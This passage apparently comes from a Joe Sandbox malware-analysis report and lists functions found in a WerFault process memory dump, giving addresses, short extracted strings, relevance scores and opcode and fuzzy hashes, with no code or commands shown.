Function 00007FF887B316E0 Relevance: 2.6, Strings: 2, Instructions: 91COMMON

Download Yara Rule

Strings

O_H, xrefs: 00007FF887B3176F
HBL, xrefs: 00007FF887B31765

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: O_H$HBL
API String ID: 0-3339347136
Opcode ID: 11bce277aeadbc8d94aa30e086433060878ffe0e93bf7cb5d4f1a6365a84ee62
Instruction ID: 0b6a43e748d1ca8dbe9fa7925e31c5404dbf5dc7b8b1acb70e9e5b98c02c0a90
Opcode Fuzzy Hash: 11bce277aeadbc8d94aa30e086433060878ffe0e93bf7cb5d4f1a6365a84ee62
Instruction Fuzzy Hash: C6314AB1C18A4E9EEB44EBA8D8157EDB7F2FF59741F0401BAD009E3296DE386944CB41

Function 00007FF887B3C6F0 Relevance: 2.6, Strings: 2, Instructions: 80COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887B3C759
^N_H, xrefs: 00007FF887B3C763

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: ^N_H$r6B
API String ID: 0-2163777836
Opcode ID: 08d9cfa442e5b22de706fa82ae3f004a45024285e0644713b5f44de028c48559
Instruction ID: 091ac8a17e183f6125da63daa9f3ccce799349385adf9629d4f129ad31a341ac
Opcode Fuzzy Hash: 08d9cfa442e5b22de706fa82ae3f004a45024285e0644713b5f44de028c48559
Instruction Fuzzy Hash: 07219731E1491D8FDF84EFA8D499EADB7F1FF58341B404465D11DD72A6DA38A881CB40

Function 00007FF887B3A796 Relevance: 2.6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887B3A85B
, xrefs: 00007FF887B3A89C

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: $r6B
API String ID: 0-2315467569
Opcode ID: 2f29856645f88beb154239aa3103b07130a0d39b061508006040e3d6de879e71
Instruction ID: 92411a4b304f3dd571bcceb3273a58d6db9dab28c74bf6e3d684730ce97c65da
Opcode Fuzzy Hash: 2f29856645f88beb154239aa3103b07130a0d39b061508006040e3d6de879e71
Instruction Fuzzy Hash: 21213B32D9850BDAEB599A98D8586FCB7F2FF44381F64427AE00DD21C6CE282482DB41

Function 00007FF887B401DC Relevance: 2.6, Strings: 2, Instructions: 58COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887B4020B
, xrefs: 00007FF887B4024C

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: $r6B
API String ID: 0-2315467569
Opcode ID: 32ed7342e70efdacf64fc071342f5c8a0be92d7ca09692a40399ea1ac5a735a6
Instruction ID: 0b0181190372234e89dfd350336d92a1bc76175faec6dc946003e18a15d64013
Opcode Fuzzy Hash: 32ed7342e70efdacf64fc071342f5c8a0be92d7ca09692a40399ea1ac5a735a6
Instruction Fuzzy Hash: BC115871D985499FEB49DF98D894ABDBBB2FF58340F1441B9D02ED3282CA386902CB00

Function 00007FF887B3AB5A Relevance: 1.5, Strings: 1, Instructions: 213COMMON

Download Yara Rule

Strings

b4B, xrefs: 00007FF887B3ACC2

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: b4B
API String ID: 0-3849415641
Opcode ID: b456a334b9542ad2ec9516ae870f27972b1cef29d07d14e78dbfb601e1dc3e1b
Instruction ID: 8e6013b2a9490aff2913dc98599fafca1f9fa47c01efec5f7b3367609aaeecd8
Opcode Fuzzy Hash: b456a334b9542ad2ec9516ae870f27972b1cef29d07d14e78dbfb601e1dc3e1b
Instruction Fuzzy Hash: C0510731A9C69A4FF70D9A689C512BC77E2FB46358F6401BDD48FC7283D919A883C781

Function 00007FF887B4060A Relevance: 1.5, Strings: 1, Instructions: 210COMMON

Download Yara Rule

Strings

b4B, xrefs: 00007FF887B40772

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: b4B
API String ID: 0-3849415641
Opcode ID: f1bdd1c668d02e8a44bd7c313bc36c13ef7629f40e69b24b8df764cfbca7007d
Instruction ID: d5e97b07a83382d8f42a7cbb0753620241e215b32e8757838a072de55228924f
Opcode Fuzzy Hash: f1bdd1c668d02e8a44bd7c313bc36c13ef7629f40e69b24b8df764cfbca7007d
Instruction Fuzzy Hash: 6A511631A9C6994FF70D9A6898512BC7BE2FB46358F2802FDC49FC7293D9196843C781

Function 00007FF887B30C36 Relevance: 1.4, Strings: 1, Instructions: 195COMMON

Download Yara Rule

Strings

0DL, xrefs: 00007FF887B30C92

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: 0DL
API String ID: 0-3174716889
Opcode ID: 0f8a7e11a3bbc8574b7cc1af0e93059ed8ee378a0074054c4f10385b029ce6bf
Instruction ID: aa0325a6e74788d1c7d28299837d3eac9de5f768f77bd5fc981d5f98ee11e4d4
Opcode Fuzzy Hash: 0f8a7e11a3bbc8574b7cc1af0e93059ed8ee378a0074054c4f10385b029ce6bf
Instruction Fuzzy Hash: 4771C670D58A1D8FEB94EB68D894BACB7F2FF58341F5041A9D01DE7292DA34A981CF00

Function 00007FF887B3F3E4 Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

0N_H, xrefs: 00007FF887B3F474

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: 0N_H
API String ID: 0-3998158670
Opcode ID: 49ccdac78354d4d1cdcfbc8d2034d47ebc2c212fdc945496cc56f8b5cc7a78f8
Instruction ID: 87662903f7b0f2b197926fa32d2b265a2e474cc015d84638fe5340aaac0eb396
Opcode Fuzzy Hash: 49ccdac78354d4d1cdcfbc8d2034d47ebc2c212fdc945496cc56f8b5cc7a78f8
Instruction Fuzzy Hash: E741383198CB474FE7259A68A4556BAB7F2FF45350B05067FD08EC3243DE2EA886C781

Function 00007FF887B3FE55 Relevance: 1.4, Strings: 1, Instructions: 144COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887B3FE9A

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: r6B
API String ID: 0-2624010786
Opcode ID: e1cdd816583cdb7952d230c68e919d12aa7b2e24eeb9ed95346b1dc48c9b324b
Instruction ID: c150332c0d4d6667541df02b2fd1e687213d2fb45e679de9ce3795bb97fe6b0f
Opcode Fuzzy Hash: e1cdd816583cdb7952d230c68e919d12aa7b2e24eeb9ed95346b1dc48c9b324b
Instruction Fuzzy Hash: CA517030A58A464FE768DB29D09466AB2E2FF54344F504A7DD05FC3A96CA39F882CB40

Function 00007FF887B3C4A5 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

L, xrefs: 00007FF887B3C5A8

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: L
API String ID: 0-2896118805
Opcode ID: fd915e7ea1d573765ceff5962674a1b46924c0a8c010938f520c3c368441483b
Instruction ID: 20cf7df575aa5e6e17b74819c0e3f6e68c9ed5b6e5716080fb8a08fda49f371d
Opcode Fuzzy Hash: fd915e7ea1d573765ceff5962674a1b46924c0a8c010938f520c3c368441483b
Instruction Fuzzy Hash: 35418E32D4858A5FEB45ABA8F8166FDBBB2FF88750F0401B6E009D71D7CD282982C741

Function 00007FF887B31AA0 Relevance: 1.4, Strings: 1, Instructions: 121COMMON

Download Yara Rule

Strings

H;H, xrefs: 00007FF887B31AE3

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: H;H
API String ID: 0-2930457148
Opcode ID: 2c9f8e2edd9ad8f34ea52eb2a379bdaadd96bd389e248990d145ba9b33894008
Instruction ID: ad2052952992e58292d515a256933c60513fb2898040116a243e9accb1777f99
Opcode Fuzzy Hash: 2c9f8e2edd9ad8f34ea52eb2a379bdaadd96bd389e248990d145ba9b33894008
Instruction Fuzzy Hash: 2541C870D08A5D9FDB94EFA8D499BADBBF1FF68701F14006AD009E7295DB74A881CB40

Function 00007FF887B35FC0 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

N_I, xrefs: 00007FF887B36044

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: N_I
API String ID: 0-1668815123
Opcode ID: 50dc2b2a7cbc8cda414cfb9852a3b5ebe29f65bccaa5403d05c3840375229c96
Instruction ID: 1b07d862f28b74549d43e35d7b91d9570a7ebae5f84fd0df6a27655a4c926746
Opcode Fuzzy Hash: 50dc2b2a7cbc8cda414cfb9852a3b5ebe29f65bccaa5403d05c3840375229c96
Instruction Fuzzy Hash: B231F432D4D5929BEB059A68A8A16FDBFF2FF123A4B4441B6D04C8B187DD186886C781

Function 00007FF887B3CCA2 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887B3CCB3

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: r6B
API String ID: 0-2624010786
Opcode ID: ef7801ddaba555f35737734ca9ac0a83bc706a6f505d41f34db9adbbb89f92a3
Instruction ID: ba47b1f04a4681571715a484e3e778624f993f00543c1e9acbd810ecea100f4b
Opcode Fuzzy Hash: ef7801ddaba555f35737734ca9ac0a83bc706a6f505d41f34db9adbbb89f92a3
Instruction Fuzzy Hash: 5F21D771D5C94A8FE798E6A898562BDB7F2FF45360F1401BAD44EC31C2ED185C86C381

Function 00007FF887B363C8 Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

8eL, xrefs: 00007FF887B36446

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: 8eL
API String ID: 0-2915619072
Opcode ID: 4fee63b798dcc08fb0381f815134496b404ca91777af9f3fa2de9909bada84a4
Instruction ID: 69cea87130916f2d7eb738df9d40f32faa6f522e25358506b321dcb3ebc4bdce
Opcode Fuzzy Hash: 4fee63b798dcc08fb0381f815134496b404ca91777af9f3fa2de9909bada84a4
Instruction Fuzzy Hash: B821AC31D18A1E8FEB54EF98E8006EEB7F5FB89354F00017AE41DE3285DB35A9548781

Function 00007FF887B392A2 Relevance: 1.3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887B39299

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: r6B
API String ID: 0-2624010786
Opcode ID: cce2b602745c4588d1393e9b4ae0bc3147543866ed5a05b22bd9d99c67039d81
Instruction ID: 3d26029dc2c44f3fccdb4f3019293d0257ebee1c46e6d83fe0816eedf9c6cbeb
Opcode Fuzzy Hash: cce2b602745c4588d1393e9b4ae0bc3147543866ed5a05b22bd9d99c67039d81
Instruction Fuzzy Hash: 7A116332F6C91A4BEA58E55CE852ABCB3E3FF997A4B104276D01ED3282DD1468428781

Function 00007FF887B3CC38 Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887B3CC29

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: r6B
API String ID: 0-2624010786
Opcode ID: 8f4426d8fb1fac2d0f6d95d279c6aa86345c2b923b4232b2909f15adc1098c4c
Instruction ID: c678450f3692853c9b44fa19931c6d75e40d80d8ec7e27a95926da2028552d4c
Opcode Fuzzy Hash: 8f4426d8fb1fac2d0f6d95d279c6aa86345c2b923b4232b2909f15adc1098c4c
Instruction Fuzzy Hash: CD115E32FAC92A5BAA58A65CE8425FC73F3FB98BA0B540175D04ED3282DD146C428785

Function 00007FF887B365F9 Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

XE, xrefs: 00007FF887B3665B

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: XE
API String ID: 0-1903603036
Opcode ID: a14eafb811baa3fa30d7bd4314e646a344ea33bfeea1054c27c96d352eb2a969
Instruction ID: 34e55f55aa252c8710dee1fbb9ef3887dcf0c499ec33b34eae9ba652b391006c
Opcode Fuzzy Hash: a14eafb811baa3fa30d7bd4314e646a344ea33bfeea1054c27c96d352eb2a969
Instruction Fuzzy Hash: 8311E036C8828A4FEB42ABA4A8492EDBFF0FF47364F0401B7D008D70D2DA285586C752

Function 00007FF887B39B6B Relevance: 1.3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

Strings

r6B, xrefs: 00007FF887B39B8F

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID: r6B
API String ID: 0-2624010786
Opcode ID: cae9c0fa3e5676bf1175d723e9cebd9e49699a7994220195f1504f61a09ba7a9
Instruction ID: 6284bd687349293b10f147ec85d1f3030ffe2c4b318f89380682adf52b97abe9
Opcode Fuzzy Hash: cae9c0fa3e5676bf1175d723e9cebd9e49699a7994220195f1504f61a09ba7a9
Instruction Fuzzy Hash: 6A012862F1CD8A4FE788EE6C90447B9B3E1FF68345B0082BAC00EC3587EE24A8458340

Function 00007FF887B3318D Relevance: .4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0edb775aec4d1811e2168381dd5750d2ce80e9484db383c0452ce80c853fa7a7
Instruction ID: c8d19f00029b494a6ac7e460824a59542a2e86b99704c4d286ad5b49164afbf1
Opcode Fuzzy Hash: 0edb775aec4d1811e2168381dd5750d2ce80e9484db383c0452ce80c853fa7a7
Instruction Fuzzy Hash: 62D11671D1869A8FEB98DB68D8647ADB7F2FF58340F1441B9D00DE7292CE386984CB41

Function 00007FF887B331B0 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc30171668b348e28e6c748587aa94c181ae1cb36118a6a943bcd0281e69bc44
Instruction ID: e6d6841ae724765c6b1950acae88f08263f88880ef35915cbc056548b5ccc6cd
Opcode Fuzzy Hash: bc30171668b348e28e6c748587aa94c181ae1cb36118a6a943bcd0281e69bc44
Instruction Fuzzy Hash: 74B12871D18A9A8FEB98EB68C8647ADB6F2FF54340F1441BDD00DD7692CE386984CB41

Function 00007FF887B3149A Relevance: .3, Instructions: 282COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8340983381d1e8f74971a6da1ae7dc89a2f23a2f2195a723ba321104728d32c8
Instruction ID: 0f669fded4a7d1488ce0a5a6c790e7830578e720e53534f82504c94a76fb7878
Opcode Fuzzy Hash: 8340983381d1e8f74971a6da1ae7dc89a2f23a2f2195a723ba321104728d32c8
Instruction Fuzzy Hash: DF81E231C8C94F8FEB65DBA898012FC7BF5FF56350F05027AD45AD3182EA28685AC791

Function 00007FF887B4138D Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3821d232124faebe3a280369cc6a7cf08e58fdf41d7856b34a6f75522be9eab1
Instruction ID: d58423aed39c22bfdd8d1c7276694bdf20023fa4234a08d01647281cd30c3035
Opcode Fuzzy Hash: 3821d232124faebe3a280369cc6a7cf08e58fdf41d7856b34a6f75522be9eab1
Instruction Fuzzy Hash: 80A17130A98B068FE368CB28D4945A977F2FF54350B54497DC48EC7A96DB39F882CB41

Function 00007FF887B3B62D Relevance: .3, Instructions: 279COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 097e42b9094dfd08946dda984bdc48e5efa5f89095d86e8927279179fbcc95d4
Instruction ID: 26567b7f0a3b62572a48eb47c3ff3c8a16baf6a8b37b5a8ce731f907e99df2a2
Opcode Fuzzy Hash: 097e42b9094dfd08946dda984bdc48e5efa5f89095d86e8927279179fbcc95d4
Instruction Fuzzy Hash: CFA1C530A58B068FE369CB28D4955BA77F2FF44344B64497DC08AC7696DB39F882CB41

Function 00007FF887B3C820 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10388a9bc0b4b2737f53249c42900a702b27d93ecfcaec97fad2d62cf5fdc23e
Instruction ID: 4283d51a6c710b2234702b2ef0a5cbb6eda4bdfba6e33e33b9d6da01e0bf3b89
Opcode Fuzzy Hash: 10388a9bc0b4b2737f53249c42900a702b27d93ecfcaec97fad2d62cf5fdc23e
Instruction Fuzzy Hash: 9A8173319586499FDB41EBA8D895BED7BF1FF49350F1402B6E018D32C3CA386985CB92

Function 00007FF887B335C0 Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72e106c29f759214e1eed53babc5a835c6d5d4b6f9ec484efed44212ea79dd08
Instruction ID: 6d5219f52667b344d067eff122727bb4d6fcde337772de7de60fc903f97c61c5
Opcode Fuzzy Hash: 72e106c29f759214e1eed53babc5a835c6d5d4b6f9ec484efed44212ea79dd08
Instruction Fuzzy Hash: B4910270D1864A8FDB58DFA4C490AEEB7B2FF59341F60017DE00DA7292CA39A981CF51

Function 00007FF887B3C888 Relevance: .2, Instructions: 199COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c5191730701cde2d7c662eaf5addb472896e9f7d2e53eec4bf60e89360f407b
Instruction ID: 1e390de02a6be6dcfbe9f449e9641c32bec5990fcaef2ed776866652ffaf1f3b
Opcode Fuzzy Hash: 7c5191730701cde2d7c662eaf5addb472896e9f7d2e53eec4bf60e89360f407b
Instruction Fuzzy Hash: 09615F31A586498FDB41EB98D491BEDBBF1FF58350F140679E018D32C7CA38A881CB92

Function 00007FF887B39BE6 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25c8bc5ff9f23b4bba3803ec51bb37965b31d5acdd0094f39aca292f9798449d
Instruction ID: 9fb990be9dd927a058f196bb41fb96a372690a01b846bd71e1a5caccb31b174b
Opcode Fuzzy Hash: 25c8bc5ff9f23b4bba3803ec51bb37965b31d5acdd0094f39aca292f9798449d
Instruction Fuzzy Hash: 73518B3194CA874FE3359B28A455279BBF2FF55394B0401BEC08EC7183DE2DA886C752

Function 00007FF887B38DCF Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5cd2b19d4e7f27300cb8cfd29b0024258ac82c552fa5c24ac5f1b12797a6199
Instruction ID: f4441279a729e2f9f84b78f16d62dc63abfe7d5a25d98f5d5a7223218ef5f8a8
Opcode Fuzzy Hash: e5cd2b19d4e7f27300cb8cfd29b0024258ac82c552fa5c24ac5f1b12797a6199
Instruction Fuzzy Hash: 9651D532C8D2DA4FD7126B60AC515EA7FB4FF02350F0902B7D458C7092DA2DA696C362

Function 00007FF887B32810 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9087a3b1a4fe2d9e4d74d90e107a1018506d30be612af09001a5eea0d85dced5
Instruction ID: f7c7eb57fa04eebb406d5506ca78b945254a205bac2db217bdaf1f3e919676f9
Opcode Fuzzy Hash: 9087a3b1a4fe2d9e4d74d90e107a1018506d30be612af09001a5eea0d85dced5
Instruction Fuzzy Hash: F9518B31848A0D8FCB44EFA8D8546EDBBF1FF4A310F40067AE008D7292DB39A595CB91

Function 00007FF887B317D5 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f262475ee28b1318b43eafbe8e451aa6dc15d0f926dd706bf5acfb7277abea3
Instruction ID: 536ddbfd40ec4a2a9179a3d8e3cdf5f2ec33fa84744e7bf56403662d9035d91e
Opcode Fuzzy Hash: 5f262475ee28b1318b43eafbe8e451aa6dc15d0f926dd706bf5acfb7277abea3
Instruction Fuzzy Hash: F361EA70D1465D8FEB84EBA8D899BECBBB1FF58340F10416AD00DE7292DB386985CB41

Function 00007FF887B36491 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c4456ec5e8772f2218536a8a23e5d6a39b293f6d308ffbbbf0da34d4f0e8ca0
Instruction ID: f2753d315c14be66815416af5665575ede9bad46d95c3fbde3b3baa1254c31ef
Opcode Fuzzy Hash: 9c4456ec5e8772f2218536a8a23e5d6a39b293f6d308ffbbbf0da34d4f0e8ca0
Instruction Fuzzy Hash: 48415930D4855D9FDB44EFA8D844AEDBBF1FF5A310F01017AE009E7291CA39A991CB91

Function 00007FF887B36970 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 216c71bd340fdc53de016d69c2e3cb054f2c1a7786bd86efbed124ee827878f0
Instruction ID: 059b7e76d72b366705e052b6ad72c6255a1c479640929007fd77b6441fd9cced
Opcode Fuzzy Hash: 216c71bd340fdc53de016d69c2e3cb054f2c1a7786bd86efbed124ee827878f0
Instruction Fuzzy Hash: C8412971A5CA534FE31DCA2C94554BEB7F2FF94354B1446BED08BC328AED18A486C741

Function 00007FF887B384D1 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29f82ad4a02a298167be3908337f01474ee6831d795140b2cc40633e2e5af681
Instruction ID: 9e9e4a96d54446c1802589a37985db753daa5ecf627fff53f3c9684a8dbf6886
Opcode Fuzzy Hash: 29f82ad4a02a298167be3908337f01474ee6831d795140b2cc40633e2e5af681
Instruction Fuzzy Hash: D3419C31D4890E9BDB64EF18E8806FDB3B9FB59390F00117AE01DE7281DB35AA85CB55

Function 00007FF887B38E3D Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1429077766.00007FF887B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF887B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ff887b30000_WerFault.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5775b48f2803463c4b988498af5e807038edb1f76c5ce7414a5266c711095c1d
Instruction ID: 91b71987c8b8d0d295b2d2f411a45cb65fe938fcf484e8016e5b52de975a4763
Opcode Fuzzy Hash: 5775b48f2803463c4b988498af5e807038edb1f76c5ce7414a5266c711095c1d
Instruction Fuzzy Hash: BF41B43188E3D64FD71757706C665EA3FB4AF03210B0A02E7E498CB493D51DA596C363

Function 00007FF887B3847A Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

